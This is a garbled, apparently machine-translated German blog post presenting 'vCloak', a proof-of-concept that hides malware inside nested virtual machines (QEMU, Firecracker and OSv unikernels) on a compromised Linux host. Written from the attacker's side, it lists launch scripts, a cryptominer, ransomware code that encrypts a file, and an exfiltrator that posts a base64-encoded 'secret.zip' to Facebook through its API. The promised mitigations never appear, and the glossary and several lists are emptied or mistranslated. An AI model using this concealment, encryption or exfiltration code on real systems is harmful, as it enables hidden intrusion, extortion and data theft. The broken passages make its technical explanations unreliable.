Virtuelle Tarnung: Ein böswilliger Ansatz zur Virtualisierung





Virtualisierung ist ein zweischneidiges Schwert Die 



siegreiche Entwicklung der Cloud in den letzten Jahren ist auf die schrittweise Verbesserung vieler Technologien zurückzuführen, die sowohl Hardware als auch Software betreffen. Aber die vielleicht bekannteste Technologie ist die, in der diese beiden Bereiche zusammenlaufen: Wir sprechen von Virtualisierung. In einfachen Worten bedeutet Virtualisierung das Abstrahieren von Hardwarekomponenten (z. B. Prozessor, Speicher, Festplatten usw.) und deren Darstellung in einer Softwareschicht, die dynamischer als Hardware ist und besser skaliert. Dieses Schlüsselmerkmal der Virtualisierung eignet sich für die Erstellung maßgeschneiderter, zuverlässiger, hochverfügbarer On-Demand-Onlinedienste - heute Cloud genannt.   



Diese großartige paradigmengetriebene Technologie hat jedoch eine Schattenseite. Es gibt Cloud-Anbieter, die seit Jahren von der Abstraktion profitieren, die die Virtualisierung bietet und die Sie schützt, und es gibt Angreifer, die schnell erkannt haben, wie die Virtualisierung gegen Sie gerichtet werden kann. In den letzten Jahren wurden einige Bedrohungen beobachtet - einige sind nur konzeptionell durchdacht, andere sind bereits in der Praxis anzutreffen -, die bei Eindringlingen zur Maskierung böswilliger Aktivitäten eingesetzt werden. Dies ist "destruktive Virtualisierung" oder, wie wir es nennen, "virtuelle Tarnung".  



In diesem Beitrag werden wir untersuchen, wer dieser Taktik zum Opfer fallen könnte, einen Überblick über die Forschung geben, die darauf abzielt, dieses Bedrohungssegment unter Berücksichtigung der neuesten Virtualisierungstechniken zu verstehen, indem wir "vCloak" (virtuelle Tarnung) für Linux im Detail untersuchen . Dies ist ein PoC-Projekt, das als "Machbarkeitsnachweis" vermarktet wird. Wir werden mehrschichtige, getarnte Malware erstellen, die diskret und minimalistisch ist, aber dennoch die Portabilität, Persistenz und Zuverlässigkeit aufweist, die durch Virtualisierung erreicht wird. Wir möchten die Mythen um diesen neuen Angriffsvektor zerstreuen und Ihnen helfen, besser zu verstehen, wie dieser neue Angriffsvektor funktioniert, und erklären, wie ein Angreifer Virtualisierung als Waffe verwenden kann. Nehmen Sie sich Zeit, um das Lesen zu beenden:Als Bonus werden wir auch einige Möglichkeiten diskutieren, wie die Schädlichkeit dieser Angriffe gemindert werden kann.





Wie oben erwähnt, ist Virtualisierung ein Akt der Abstraktion von Hardware. Um das Material in diesem Beitrag besser zu verstehen, müssen Sie sich jedoch etwas eingehender mit dem Thema befassen. Lassen Sie uns also schnell zu dem Moment vorspulen, von dem aus die Ära der Virtualisierung begann. Die Idee, Hardware zu virtualisieren, ist nicht neu. Die Wurzeln reichen bis in die 1960er Jahre zurück, als IBM große Anstrengungen in ein neues Konzept namens Time Sharing gesteckt hat (Abbildung 2). In seiner einfachsten Form läuft das Konzept darauf hinaus: Benutzer können einen Prozessor durch kontinuierliches Ultra- teilen. schnelle Kontextumschaltung. Es war möglich, auf diese Idee zu kommen und zu bemerken, dass jeder Benutzer Zeit hat, nur einen kleinen Bruchteil des Potenzials des gesamten Computers zu verbrauchen. In Anbetracht,Da ein Computer damals einen ganzen Raum einnahm und etwa 20 Millionen US-Dollar kostete (inflationsbereinigt), schien es ratsam, ihn in vollem Umfang zu nutzen. Die moderne Virtualisierung basiert auf demselben Prinzip: gemeinsame Nutzung von Maschinenressourcen bei gleichzeitiger Wahrung einer logischen Trennung.





Feige. 1: Das IBM 7094-Dashboard, in dem das Time-Sharing-Konzept erstmals implementiert wurde ( Bild des Wikipedia-Benutzers ArnoldReinhold , lizenziert unter  Creative Commons BY-SA 3.0 )



Wie die moderne Virtualisierung begann



Der Artikel « Formale Anforderungen an virtualisierbare Architekturen der dritten Generation « («Formale Anforderungen virtualisierbare Architekturen der dritten Generation")  Gerald Popek und Robert Goldberg stellten das erste genau definierte Virtualisierungsmodell vor und legten den Grundstein für die bis heute verwendeten Konzepte (Abbildung 3) ). In diesem Artikel wurden einige grundlegende Anforderungen für die Virtualisierung eingeführt und verschiedene Maschinenanweisungen klassifiziert und analysiert. Im Folgenden wird in einem Spickzettelformat eine Übersicht über die oben genannten Konzepte gegeben.





1971 Darstellung // Wie Virtualisierung im Jahr 1971 gesehen wurde



Moderne Darstellung // Moderne



VMM- Darstellung //



Hardware- Monitor für virtuelle Maschinen //



VM- Hardware //



Anwendungen für virtuelle Maschinen //



Betriebssystemanwendungen // Betriebssystem für



virtuelle Maschinen //



Monitor für virtuelle Maschinen / / Überwachung der virtuellen Maschine



Physische Maschine / Hardware // Physische Maschine / Hardware



Abbildung 2: Vergleich: Popeck vs. Goldberg-Ansicht vs. moderne verallgemeinerte Ansicht (aus  Usenix )



Virtualisierungsglossar



  • /VMM ( ) –  «», : , . 
  • – ( ), VMM
  • /VM/ – , , machine VMM
  • :
  • ( 0 – 3) ,  
  • ( 0) ( 3) VM VM/VMM
  •  (CPL),  CS ( )  ,  DPL ( ),  
  • :
  • , 0
  • (HLTLIDT)
  • (INVLPG)
  • /   (RDMSRWRMSRMOV CRx)
  • OS
  •   — MMIO (- ) / (IN/OUTMOV   <MEMORY_MAPPED_REGISTER>)

    - , (POPF)

    VM

  •  –  
  •  – , «»   
  • :
  • , ,   
  • - ,  
  • :
  • , API-  
  • , ,  
  •  –
  •  
  • , (., x86 vs AMD)




Abbildung 3: Arten der Virtualisierungsvirtualisierung



//



Bare-Metal-Hypervisoren // Bare-Metal-Hypervisoren //



Gehostete Hypervisoren // Host-Hypervisoren



Emulatoren //



Hardware-Virtualisierungs- Emulatoren // Hardware-Virtualisierung



Intuitives Verständnis von Virtualisierung



Wie bei jedem Spickzettel fehlt dem obigen Glossar der Kontext für die Vollständigkeit der Wahrnehmung, aber es gibt viele Schlagworte (siehe Abb. 4). Wir werden versuchen, das wichtigste dieser Elemente zusammenzufassen und einige Details für die Klarheit zu opfern. Wie Sie dem Glossar entnehmen können, besteht einer der schwierigsten Teile des Virtualisierungsjobs darin, privilegierte / vertrauliche Anweisungen zu verarbeiten. 



Privilegierte Anweisungen sind solche, mit denen der Anrufer die Kontrolle über kritische Ressourcen übernehmen kann. Sie sind wichtig, um das System vor böswilligen Aktivitäten und unkontrollierten Programmen vor dem Benutzerbereich zu schützen. Dies sind beispielsweise HLT-Anweisungen (Steuerung des Ausführungsflusses in der CPU mit der Möglichkeit der Unterbrechung), die Auswirkung auf die Speicherzuordnung durch Ungültigmachen von Seitendatensätzen im assoziativen Übersetzungspuffer  (INVLPG) oder der Zugriff auf spezielle Register (RDMSR) , WRMSR, MOV CR). Privilegierte Anweisungen können uneingeschränkten Zugriff auf den Hostcomputer gewähren (z. B. Kontrolle über alle Interrupt-Handler ).



Sensible Anweisungen können als Anweisungen interpretiert werden, die "aus der Sicht" des Gastes privilegiert sind. Dazu gehören Vorgänge wie die Interaktion mit Eingabe- / Ausgabegeräten (IN / OUT), das Schreiben in speicherabgebildete Register (MOV) oder Anweisungen, die je nach ausgeführtem Schutzring unterschiedlich funktionieren.  Dies ist beispielsweise das Schreiben in das EFLAGS-Register (POPF). Vertrauliche Anweisungen können uneingeschränkten Zugriff auf den Gastcomputer gewähren (z. B. direktes Schreiben auf E / A-Geräte und Erlangen von Host-Berechtigungen). 



Schutzringe werden verwendet, um privilegierte Anweisungen abzufangen und den Kernel zu aktivieren, um ihre Ausführung zu verarbeiten. Vor nicht allzu langer Zeit gab es jedoch keine Hardware-Unterstützung für diese Art des Aufnehmens vertraulicher Anweisungen, was nicht unbedingt eine Gefahr für den Host darstellt, aber für den Gast immer noch eine Fehlerquelle darstellt. Softwarebasierte Techniken wie die Emulation mit statischer oder dynamischer binärer Übersetzung oder die Paravirtualisierung durch Gastmodifikation werden verwendet, jedoch auf Kosten einer erheblichen Verschlechterung der Leistung / Flexibilität.  



Als Lösung wurde die Hardwareunterstützung für vertrauliche Anweisungen eingeführt, indem ein weiterer Sicherheitsring hinzugefügt wurde (auch als "Ring 1" oder "Admin-Modus" bezeichnet). Diese Praxis verbreitete sich 2005 und 2006, als Intel und AMD VT-x  bzw.  AMD-V einführten  . Die Optimierung war anfangs sehr einfach und nur wenige Virtualisierungsvorgänge wurden durch Hardware unterstützt. Diese Unterstützung wurde jedoch bald auf viele andere Vorgänge ausgeweitet, insbesondere auf die  Virtualisierung der Speicherverwaltungseinheit (MMU).... Hardware-unterstützte Virtualisierung ist aufgrund ihrer betrieblichen Vorteile und erhöhten Sicherheit die bevorzugte Lösung, während die Leistungskosten auf ein Minimum reduziert werden - von unschätzbarem Wert in der Cloud. 



Virtualisieren und schützen





Abbildung 4: KVM-QEMU-Stapel und entsprechender Stream (Bild mit freundlicher Genehmigung des Wikipedia-Benutzers  V4711 , lizenziert unter  Creative Commons BY-SA 4.0 )



Der wichtigste Grund für die Virtualisierung besteht darin, Ihre Ressourcen optimal zu nutzen und gleichzeitig Ihre Ressourcen sicher und voneinander isoliert zu halten. Mit modernen Hypervisoren, die mit den neuesten Software- und Hardwarefunktionen ausgestattet sind, können Sie eine Vielzahl isolierter virtueller Maschinen erstellen. von klassischen Betriebssystemen mit vollem Funktionsumfang (z. B. Ubuntu) bis hin zu modernen Minimal-MicroVMs mit leichten Kerneln (z. B. Firecracker + OSv). Die Isolierung von Ressourcen wie Speicher, Dateisystemgeräten und Kernel schützt sowohl die Host-VM als auch andere Gast-VMs vor dem Eindringen einer gefährdeten Gast-VM.



Wenn beispielsweise ein Kernel-Exploit erfolgreich auf einer Gast-VM ausgeführt wurde und ein Angreifer Administratorrechte dafür erhielt, konnte er die Isolation immer noch nicht durchbrechen. Wenn keine Hypervisor-Sicherheitsanfälligkeit vorliegt, sind die Host-VM und andere Gast-VMs von dem Eindringen nicht betroffen, da sie und der gefährdete Computer unterschiedliche Kernel haben. Wie bei jeder anderen Sicherheitsstrategie löst die Virtualisierung nicht alle Probleme. Die Virtualisierung ist mit eindeutigen Angriffsvektoren verbunden, die nur ihr eigen sind. Hier einige Beispiele für bestimmte Angriffe, die speziell auf Virtualisierungsschwachstellen abzielen:



  • Treiber und Freigabe (Abbildung 5, Kreis 1):
  • Schnappschüsse (Abbildung 5, Kreis 2):
  • Sandbox Escape (Abbildung 5, Kreis 3):
  • Arten von Sicherheitslücken:




Virtualisieren und angreifen



Viele der Grundprinzipien, die die Virtualisierung zu einem so effektiven und vielseitigen Verteidigungsansatz machen, können in Waffen umgewandelt werden. Die Idee selbst ist nicht neu, Studien zu solchen Bedrohungen wurden bereits durchgeführt. Erwähnt werden kann Bashware , die zeigte, wie WSL (eine virtualisierte Lösung zum Ausführen eines Linux-Subsystems unter Windows) eingesetzt werden kann, um Malware vor allen modernen Abwehrmechanismen zu verbergen.



Am 14. Mai 2020 wurde diese Theorie in der Praxis gut bestätigt, als die Nachrichten mit Berichten über einen neuen Ransomware-Stamm namens " RagnarLocker " überflutet wurden. " Opfer waren große Unternehmen aus den Bereichen Spiele, Energie und Alkohol. Auf einer kleinen vertrauenswürdigen und digital signierten VirtualBox wurde eine kleine virtuelle Windows XP-Maschine (weniger als 500 MB) ausgeführt, mit der Daten heimlich verschlüsselt und von der Maschine des Opfers abgerufen werden konnten. Später in diesem Jahr verfolgte das Labyrinthkartell fast dieselbe Strategie .



Alle oben diskutierten Angriffe verwendeten VirtualBox  und sind als Container für Malware ziemlich schwergewichtig. Darüber hinaus ist es nicht auf die Vorteile der hardwaregestützten Virtualisierung angewiesen . Bevor wir uns mit dem Thema befassen, schauen wir uns genauer an, welche qualitativen Aspekte der Virtualisierung ein Angreifer nutzen kann:



  •  – ,
  •  – , , , ,  
  •  — VM
  • « SSL-» – MicroVM , ( SSL MITM)
  •  – , , ,  
  •  — ,
  • ,  
  •  – , (»ShadowBunny«)
  • ,  


Bei einer größeren Invasion hat die Virtualisierung einen Vorteil. Vorschläge können als vertrauenswürdige Ausführungseinheit zusammengefasst und zur Ausführung von Vorgängen verwendet werden, die in einem anderen Kontext Verdacht erregen würden, z. B. stillschweigend schädlichen Code ausführen und Daten stehlen. Diese Vorteile bleiben bestehen, da die Virtualisierungstechnologie noch relativ neu ist und dieser dunkle Aspekt der Virtualisierung nicht die Aufmerksamkeit erhält, die er verdient. Wie in der Einleitung zu diesem Beitrag erwähnt, werden wir hier versuchen, Ihnen Informationen und Tools zur Verfügung zu stellen, mit denen Sie sich gegen solche Bedrohungen verteidigen können. Betrachten Sie dazu das Problem aus der Sicht des Angreifers und entwickeln Sie Schritt für Schritt einen Beweis für die Machbarkeit eines solchen Eingriffs durch Virtualisierung.



Hardware-unterstützte Virtualisierung und KVM



Die Sabotagefunktionalität in unserem Schulungsprojekt wird größtenteils mithilfe eines Hypervisors implementiert, der sich sowohl im Kernel- als auch im Benutzerbereich befindet. In dieser Studie haben wir mit einigen kostenlosen Implementierungen experimentiert. Eine detaillierte Analyse ihrer internen Struktur würde den Rahmen dieses Beitrags sprengen.



Einfach ausgedrückt ist eine hardwareunterstützte Virtualisierung dank zweier zusätzlicher Prozessormodi (Administratorrechte für VMM und deren Abwesenheit für einen Gast) sowie spezieller Intel-Anweisungen in Assembler (für effizientes Abfangen) möglich, die hauptsächlich vom Kernel ausgeführt werden . Hier einige Beispiele:



Administratormodus



  • VMXOFF, VMXON
  • VMWRITE und VMREAD


Nicht privilegierter (Gast-) Modus



  • VMLUANCH und VMRESUME


VMLUANCH ist etwas anders angeordnet, da es von der Gast-VM ausgeführt werden kann, um die Kontrolle über den Kernel zu erlangen, oder indem mit einem Interrupt (über den wir bereits in der Einführung gesprochen haben) oder VMEXIT zum Kernel wechselt. Die Aufgabe des User Space-Partners besteht darin, alle Speicherstrukturen zuzuweisen, VMEXIT-Handler gemäß den verschiedenen VMEXIT-Anforderungen zu definieren und andere emulierte / virtualisierte Ressourcen anzuhängen.



Glücklicherweise unterstützt der moderne Linux-Kernel KVM (kvm.ko) für diejenigen, die nicht alles von Grund auf neu erstellen möchten. Dieses Kernelmodul verwandelt den Linux-Kernel tatsächlich in einen Hypervisor. KVM bietet Intel VT-x-Funktionen über die ioctl (2) -Schnittstelle. KVM nutzt außerdem aktiv die integrierten Funktionen des Linux-Kernels, um Sandboxen zu verwalten, die (in der gehärteten Version) besser als virtuelle Maschinen bekannt sind.



Angriffsgeschichte



Ein solcher Angriff beinhaltet die privilegierte Verwendung eines kompromittierten Ubuntu-Hostcomputers, auf dem VT-x aktiviert ist. Der Angriff verwendet böswillige Informationsladungen (Miner und Ransomware), die unsichtbar auf einem kompromittierten Host ausgeführt werden, der sich hinter einer selbst erstellten virtuellen Verkleidung verbirgt (Abbildung 6).



  1. Ein privilegierter Prozess gabelt und entpackt "vCloak1" in einen untergeordneten Prozess (angenommen)
  2. "VCloak1" konfiguriert und führt die L1-Ebene unserer Tarnung aus, die virtuelle Ubuntu Minimal-Maschine auf QEMU.
  3. Unter Ubuntu konfiguriert und führt "vCloak2" Layer 2 (L2) unserer Tarnung aus. Dies sind die drei OSv-Anwendungen (siehe unten ...):


 

Zeit, die Ärmel hochzukrempeln! Zur besseren Lesbarkeit überspringen wir einige der Codefragmente und teilen andere detailliert auf. Wir laden Sie ein, den Code für diese Implementierung sowie die zugehörigen Tools und Informationen vollständig zu untersuchen. All dies liegt im Repository, dessen Link unten angegeben ist.







Abbildung 5: Angriffsfortschritt



Tarnung für Level 1 vorbereiten



Lassen Sie uns vCloak1 erstellen, mit dem wir die erste Stufe unserer Tarnung durchführen können. Verwenden wir eine minimale virtuelle Maschine für Ubuntu (wir hätten Ubuntu genauso gut  für Firecracker kompilieren können ) mit QEMU. Dieser Schritt wird mit vcloak1.sh implementiert, das vom vermeintlich privilegierten Einstiegspunkt automatisch ausgeführt wird: 



attacker@host:~$ git clone https://github.com/ch-mk/vCloak.git

attacker@host:~$ cd PoC

attacker@host:~/PoC$ cat vcloak1.sh 

#   virtio,     

virtiofsd --socket-path=/var/run/vm001-vhost-fs.sock -o source=/root/supersecret \ #    Ubuntu 

qemu-system-x86_64 \

-chardev socket,id=char0,path=/var/run/vm001-vhost-fs.sock \

-device vhost-user-fs-pci,chardev=char0,tag=myfs \

-object memory-backend-memfd,id=mem,size=4G,share=on \

-numa node,memdev=mem \

attacker@host:~/PoC$ ./vcloak1.sh #    ,   
      
      







Listing 1: Aufbau einer virtuellen Tarnung der Stufe 1, minimales Ubuntu auf QEMU mit Virtiofs



Zu diesem Zeitpunkt haben wir die erste Virtualisierungsgrenze erreicht. Sobald vCloak1 geladen ist, führt es vCloak2 aus und konfiguriert und führt die zweite Ebene unserer Tarnung aus.



Tarnung für Level 2 vorbereiten 



vCloak2 führt den VT-x-Kernel mit minimaler Systemverdrahtung (Unikernel) innerhalb der virtuellen Maschine aus. Daher muss unsere Tier 1-Gast-VM auch KVM und VT-x unterstützen (dies ist einfach zu testen; siehe Listing 2), damit sie als eigenständiger Host-Computer dienen kann. Diese rekursive Funktion wird als verschachtelte Virtualisierung bezeichnet. 



attacker@vcloak1:~/PoC$ lsmod | grep kvm #   KVM 

kvm_intel 282624 0

kvm 663552 1 kvm_intel

      
      





Listing 2: Überprüfen von KVM und



Erstellen von Ebene 2 unserer Tarnung Die zweite Ebene unserer Tarnung wird als Skript vcloak2.py implementiert, das automatisch von der Crontab-Task ausgeführt wird. Es werden drei verschiedene virtuelle Firecracker-Maschinen ausgeführt, die über einen gemeinsam genutzten Socket kommunizieren können. Jede VM führt einen Unikernel-Kernel aus, der als "kernel.elf" übergeben wird, wobei ein einzelner Prozess aus dem Stammverzeichnis ("/") des Dateisystems ausgeführt wird und als "fs.img" übergeben wird. Im Folgenden werden wir die Art dieser Prozesse erläutern. Im Moment beschreiben wir jedoch nur die Erstkonfiguration und Ausführung einer typischen virtuellen Maschine mit Firecracker-Technologie.



attacker@vcloak1:~$ cat vcloak2.py #       crontab

def main(options):

# ,   firecracker is installed

dirname = os.path.dirname(os.path.abspath(__file__))

firecracker_path = find_firecracker(dirname, options.arch)

# Firecracker ,   

print_time(«Start»)

socket_path = '/tmp/firecracker.socket'

if options.api:

firecracker = start_firecracker(firecracker_path, socket_path)

#  ,         

kernel_path = options.kernel

if not kernel_path:

kernel_path = os.path.join(dirname, '../build/release/kernel.elf')

qemu_disk_path = options.image

if not qemu_disk_path:

qemu_disk_path = os.path.join(dirname, '../build/release/fs.img')

raw_disk_path = disk_path(qemu_disk_path)

cmdline = options.execute

if not cmdline:

with open(os.path.join(dirname, '../build/release/cmdline'), 'r') as f:

cmdline = f.read()

if options.arch == 'aarch64':

cmdline = «console=tty --disable_rofs_cache %s» % cmdline

else:

cmdline = «--nopci %s» % cmdline

client.configure_machine(options.vcpus, memory_in_mb)

print_time(«Configured VM»)

client.add_disk(raw_disk_path)

print_time(«Added disk»)

if options.networking:

client.add_network_interface('eth0', 'fc_tap0')

client.create_instance(kernel_path, cmdline)

print_time(«Created OSv VM with cmdline: %s» % cmdline)

if not options.api:

if options.verbose:

print(client.firecracker_config_json())

firecracker, config_file_path = start_firecracker_with_no_api(firecracker_path, client.firecracker_config_json())

else:

client.start_instance()

print_time(«Booted OSv VM»)

attacker@vcloak1:~$ python vcloak2.py # actual execution is automatic by crontab

attacker@vcloak1:~$ sudo apt update

      
      





Listing 3: vcloak2.py führt drei VT-x-Container aus



Bisher okay, aber was laufen diese Firecracker-Instanzen? Um die Geschichte des Angriffs auf den Punkt zu bringen , wurde bereits erwähnt, dass OSv- Anwendungen ausgeführt werden . OSv ist ein kostenloser, universeller, modularer Unikernel- Kernel, der entwickelt wurde, um eine einzelne nicht modifizierte Linux-Anwendung als microVM auf einem Hypervisor sicher zu unterstützen.  Dies führt zu einem minimalen Kernel, der binär kompatibel mit Linux ist. Lösungen wie OSv sind im Vergleich zu MicroVM der nächste Schritt in Richtung Minimalismus. Wenn für jede Anwendung ein Unikernel-Kernel erstellt wird, wird eine OSv-Anwendung mit einem zur Trockne komprimierten Kernel erhalten.



Mal sehen, wie einfach es ist, eine OSv-Anwendung aus nativem C ++ - Code zu erstellen:



attacker@vcloak1:~$ sudo apt update 

attacker@vcloak1:~$ sudo apt install git make build-essential libboost-system-dev qemu-system-x86 qemu-utils openjdk-8-jdk maven pax-utils python python-dev

attacker@vcloak1:~$ git clone https://github.com/cloudius-systems/osv.git #clone git repository

attacker@vcloak1:~$ cd osv

attacker@vcloak1:~/osv$ git submodule update --init –recursive # install # install examples and other dependencies

attacker@vcloak1:~/osv$ ls -l apps/native-example/ #checkout hello world app

total 40

-rwxrwxr-x 1 mc mc 16696 Dec 30 09:29 hello

-rw-rw-r-- 1 mc mc 77 Dec 30 09:20 hello.c

-rw-rw-r-- 1 mc mc 150 Dec 30 09:20 Makefile

-rw-rw-r-- 1 mc mc 57 Dec 31 00:09 module.py

-rw-rw-r-- 1 mc mc 49 Dec 30 09:20 README

-rw-rw-r-- 1 mc mc 28 Dec 30 09:20 usr.manifest

attacker@vcloak1:~/osv$ cat apps/native-example/hello.c #checkout actual c code

#include 

int main(){

printf(«Hello from C code\n»);

return 0;

}

attacker@vcloak1:~/osv$ ./scripts/build image=native-example #let’s wrap out app with OSv unikernel

attacker@vcloak1:~/osv$ ./scripts/run.py #execute latest OSv build

OSv v0.55.0-157-g0cf6acc7

eth0: 192.168.122.15

Booted up in 0.00 ms

Cmdline: /hello

Hello from C code
      
      





Listing 4: Erstellen und Ausführen eines einfachen C-Programms mit OSv als Wrapper



Ebenso können Sie eine OSv-Anwendung in Python erstellen:



In a very similar way we can build an OSv app with python:

attacker@vcloak1:~/osv$ ./scripts/build image=python2x

attacker@vcloak1:~/osv$ ./scripts/run.py

OSv v0.55.0-157-g0cf6acc7

eth0: 192.168.122.15

Booted up in 0.00 ms

Cmdline: /python

Python 2.7.18 (default, Aug 4 2020, 11:16:42

[GCC 9.3.0] on linux2

Type «help», «copyright», «credits» or «license» for more information.

>>>
      
      







Listing 5: Erstellen und Ausführen eines einfachen Python-Programms mit OSv als Wrapper 



Wie oben kurz gezeigt, ist OSv eine leistungsstarke und einfache Möglichkeit, allgemeine Anwendungen in Unikernel-Anwendungen umzuwandeln. In Kombination mit einer mikro-virtuellen Maschine wie Firecracker (oder sogar kleineren Hardware-Virtualisierungsoptionen) entsteht eine minimale, aber leistungsstarke virtualisierte Nutzlast. Weitere Informationen zu diesem großartigen Produkt finden Sie auf der OSv GitHub- Seite . Zu diesem Zeitpunkt müssen wir nur noch den erforderlichen Python-Code für jede der drei OSv-Anwendungen schreiben, wie wir versprochen haben.





Abbildung 6: Verschachtelte Virtualisierung kann manchmal etwas verwirrend sein 



Verschachtelte Virtualisierung



Wir haben uns angesehen, wie unsere Tarnung Schicht für Schicht erstellt wurde, und die Bereitstellung von Malware von der ersten privilegierten Ausführung bis zur Erstellung vieler minimaler Unikernel-Kernel, die die zweite Schicht unserer Tarnung bilden, verfolgt. Diese Unikernel-Kernel (Stufe 2) werden mithilfe von VT-x, KVM und Firecracker auf einer anderen virtuellen Maschine unter Ubuntu (Stufe 1) virtualisiert, obwohl Firecracker auch auf dieser Ebene verwendet werden kann.



Dieser "rudimentäre" Zustand ist dank der verschachtelten Virtualisierung erreichbar, eine Funktion, die von KVM unterstützt wird. Diese Virtualisierung ermöglicht es dem Gastcomputer, als Hostcomputer zu fungieren. In diesem Artikel habe ich den Begriff "Tarnungsebene" ziemlich locker verwendet, sodass die Bedeutung dieses Begriffs möglicherweise klarer wird, wenn wir ihn mit KVM-Begriffen zur Beschreibung der verschachtelten Virtualisierung vergleichen (dh L1 ist eine virtuelle Maschine, die von einem physischen Host ausgeführt wird. L2 ist eine virtuelle Maschine, die von der Gastmaschine L1) ausgeführt wird.



Bergmannskreation



Im Verlauf der beschriebenen Studien wurden viele Versuche unternommen, sich zu tarnen. Es wurden sowohl Open-Source-Bergleute geschaffen, die für den realen Gebrauch geeignet sind, als auch minimalistische Werkzeuge dieser Art, die nur als Machbarkeitsnachweis dienen können. Der Einfachheit halber werden wir schnell einen von subhan-nadeem entwickelten Open-Source-Miner vorstellen :



attacker@vcloak1:~/osv$ cat apps/python-miner/miner.py #   

import hashlib

def get_sha_256_hash(input_value):

return hashlib.sha256(input_value).hexdigest()

def block_hash_less_than_target(block_hash, given_target):

return int(block_hash, 16) < int(given_target, 16)

#     (  ,  ,  ,  ,   )

blockData = \

'01000000000000000000000000000000000000000000000000000000000000000000000' \

'03ba3edfd7a7b12b27ac72c3e67768f617fc81bc3888a51323a9fb8aa4b1e5e4a29ab5f' \

'49ffff001d1dac2b7c01010000000100000000000000000000000000000000000000000' \

'00000000000000000000000ffffffff4d04ffff001d0104455468652054696d65732030' \

'332f4a616e2f32303039204368616e63656c6c6f72206f6e20627266e6b206f66207365' \

'636f6e64206261696c6f757420666f722062616e6b73ffffffff0100f2052a010000004' \

'34104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649' \

'f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000' \

.encode()

#   –    ,   -      

target = '0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'

solution_found = False

block_data_hexadecimal_value = int(blockData, 16)

nonce = 0

while not solution_found:

block_data_with_nonce = block_data_hexadecimal_value + nonce

#   

first_hash = get_sha_256_hash(hex(block_data_with_nonce).encode())

second_hash = get_sha_256_hash(first_hash.encode())

print('Nonce: ' + str(nonce))

print('Block hash:')

print(second_hash)

print('Is the block hash less than the target?')

solution_found = block_hash_less_than_target(second_hash, target)

print(solution_found)

if not solution_found:

nonce += 1
      
      







Listing 6: Code-Schnipsel vom Miner



Generieren des Ransomware-Codes

Genau wie bei Bergleuten wurden viele Lösungen auf die Rolle von Ransomware getestet. Aus Gründen der Klarheit werfen wir einen Blick auf die PoC-Version der Ransomware von guihermej :



attacker@vcloak1:~/osv$ cat apps/python-ransom/ransom.py #   

#  

file_name = «foto.jpg»

file = open(file_name, «rb»)

file_data = file.read()

file.close()

#  

#os.remove(file_name)

#    (  AES)

key = «0123456789abcdef» # 16-  –    

aes = pyaes.AESModeOfOperationCTR(key)

crypto_data = aes.encrypt(file_data)

#  

new_file_name = file_name + «.pyransom» # ,   

new_file = open(new_file_name, 'wb')

new_file.write(crypto_data)

new_file.close()
      
      







Listing 7: Code-Schnipsel aus der Ransomware



Extraktor erstellen



Die Aufgabe dieser Komponente ist einfach. Es wartet auf Eingaben entweder vom Miner oder von der Ransomware und sendet sie dann sicher an eine vertrauenswürdige API (z. B. Facebook). In diesem Teil erhalten wir das sogenannte "Free SSL Certificate Pinning". Auch hier werden wir die vor uns liegenden Aufgaben mit der Kraft von Open Source lösen. Dieses Mal basieren wir unseren Code auf einem GitHub- Projekt aus zone13 .



attacker@vcloak1:~$ cat apps/python-ransom/ransom.py #   

import facebook, time, base64, textwrap

def main():

cfg = {

#       ,   

«page_id» : «»,

«access_token» : «»

}

api = get_api(cfg)

#  zip-         base-64

msg = file_read_into_array()

# ,    

chunks = (len(msg) / float(50000)) 

if isinstance(chunks, float) or (a == 0):

chunks = int(chunks) + 1

#   base-64    50 000   

file_array = textwrap.wrap(msg, 50000)

#     Facebook 

for i in range(chunks):

status = api.put_wall_post(«Part####» + str(i) + « « + file_array[i])

time.sleep(0.5)

#    zip-   base-64 

def file_read_into_array():

with open(«secret.zip», «rb») as f:

a = f.read()

encoded_data = base64.encodestring(a)

return encoded_data

#       Facebook

def get_api(cfg):

graph = facebook.GraphAPI(cfg['access_token'])

resp = graph.get_object('me/accounts')

page_access_token = None

for page in resp['data']:

if page['id'] == cfg['page_id']:

page_access_token = page['access_token']

graph = facebook.GraphAPI(page_access_token)

return graph

if __name__ == «__main__»:

main()

      
      





Listing 8: Extractor Code Snippets



Wiederholung und Analyse



Wiederholen wir, was wir getan haben. Als Beweis für die Machbarkeit haben wir bösartigen Code geschrieben, der Daten vom betroffenen Host abbaut, verschlüsselt und fischt. Die primäre Nutzlast bildet die erste Tarnungsebene (oder Virtualisierung) mit einer Ubuntu-basierten mikro-virtuellen Maschine, der der Host vermutlich vertraut.



Von nun an wird der Speicher aller verschiedenen Prozesse als ein einzelner abgeflachter binärer Blob dargestellt. Alle API-Aufrufe und das in MicroVM enthaltene Betriebssystem-Ökosystem sind von außen nicht sichtbar. MicroVM-Zertifikate spiegeln nicht die Hostkonfiguration wider. Diese Zertifikate sind vor dem Host verborgen (insbesondere können Sie sich so mithilfe des MITM-SSL-Schutzes vor Tools zur Verkehrsanalyse verstecken).





Abbildung 7: Der vCloak-Software-Stack; Farbige Linien



kennzeichnen die Grenzen einzelner Virtualisierungsbereiche.  Sobald MicroVM den Startvorgang abgeschlossen hat, werden drei verschiedene Unikernel-Kernel geladen, die auf VT-x und Firecracker basieren, und diese Kernel enthalten schädliche Logik. Mit Hilfe solcher Unikernel-Kernel wird eine weitere Ebene des Chaos in das Speichermodell eingeführt, nicht nur, weil hier eine weitere Virtualisierungsebene hinzugefügt wird, sondern auch, weil der Benutzerraum und der Kernelraum im Unikernel-Kernel nicht voneinander getrennt sind. All diese Verzerrungen erschweren die Arbeit des Bedieners der ersten Host-Maschine erheblich, der die erste Tarnschicht entdeckt hat und deren Logik umkehren möchte.



Die daraus resultierende mehrschichtige Malware in Verkleidung ist nicht nur heimtückischer als je zuvor, sondern auch von minimaler Größe und daher sehr portabel. Da die virtuelle Maschine die gesamte Umgebung bereitstellt, ist die Wahrscheinlichkeit eines Ausfalls aufgrund von Berechenbarkeits- oder Abhängigkeitsproblemen geringer.



Weitere Forschung und Optimierung





Abbildung 8: Selbsttesttabelle



